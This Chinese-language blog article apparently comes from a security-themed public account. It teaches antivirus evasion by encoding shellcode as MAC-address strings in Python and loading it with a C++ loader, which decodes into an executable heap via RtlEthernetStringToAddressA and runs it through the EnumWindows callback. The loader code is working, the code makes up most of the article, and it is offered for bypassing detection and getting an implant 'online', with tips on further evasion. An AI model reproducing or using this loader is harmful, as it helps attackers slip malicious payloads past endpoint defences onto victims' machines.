1简介:
首先是对shellcode的加密转换,再去c++转换回shellcode利用回调函数加载至内存加载shellcode。
2编译步骤:
1.将shellcode放到py加密进行转换,这里转换为mac:
2.放到c++编译生成:
3.测试上线:
3代码分析:
1.加密部分:
defconvertToMAC(shellcode):
if len(shellcode) % 6 != 0:
print("\n[*] length:", len(shellcode) + (6 -(len(shellcode) % 6)))
addNullbyte = b"\x00" *(6 - (len(shellcode) % 6))
shellcode += addNullbyte
mac = []
for i in range(0,len(shellcode), 6):
tmp_mac = ""
for j in shellcode[i:i + 6]:
iflen(hex(j).replace("0x", "")) == 1:
tmp_mac = tmp_mac + "0" + hex(j).replace("0x","").upper() + "-"
else:
tmp_mac = tmp_mac + hex(j).replace("0x","").upper() + "-"
mac.append(tmp_mac[:-1])
return mac
if __name__ == '__main__':
buf =b'''shellcode'''
u = convertToMAC(buf)
print(str(u).replace("'","\""))
加密自己看,都是生搬硬套了,就不装那个比了
2.C++代码分析:
#include<Windows.h>
#include <iostream>
#include<ip2string.h>
#pragma comment(lib,"Ntdll.lib")
//将转换后的shellcode(shellcode->mac)
constchar* mac_[] =
{
加密shellcode
};
int main()
{
HANDLE hc =HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//在进程的虚拟地址空间中保留空间
void* SB = HeapAlloc(hc, 0, 0x100000);//申请内存
DWORD_PTR hptr = (DWORD_PTR)SB;
int elems = sizeof(mac_)/ sizeof(mac_[0]);
PCSTR Terminator = "";
for (int i = 0; i < elems; i++) {
if(RtlEthernetStringToAddressA(mac_[i], &Terminator,(DL_EUI48*)hptr) == STATUS_INVALID_PARAMETER)
{
printf("ERROR!");
return 0;
}
hptr += 6;
}
EnumWindows((WNDENUMPROC)SB, 0);
首先是ntdll,R3应用层到R0内核调用的入口,Kernel32.dll和user32.dll中的所有win32API 最终都是调用ntdll.dll中的函数实现的。
ip2string.h头文件:
3.主函数流程:
首先创建辅助堆栈,这里是为了设置堆栈的代码可运行;
之后申请内存空间要多少;
DWORD_PTRhptr就是个指针,存放了SB的内存地址;
第19行代码计算数组大小;
for解密
最后回调函数,说白了就是转到目标地址进行加载;
4总结:
C++免杀大体可以分为,加密,注入,远程线程,读取。并不难,但是免杀出的越来越多也会越来越难做正向加载的免杀,有条件学学pe直接改特征吧
5关注
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏噢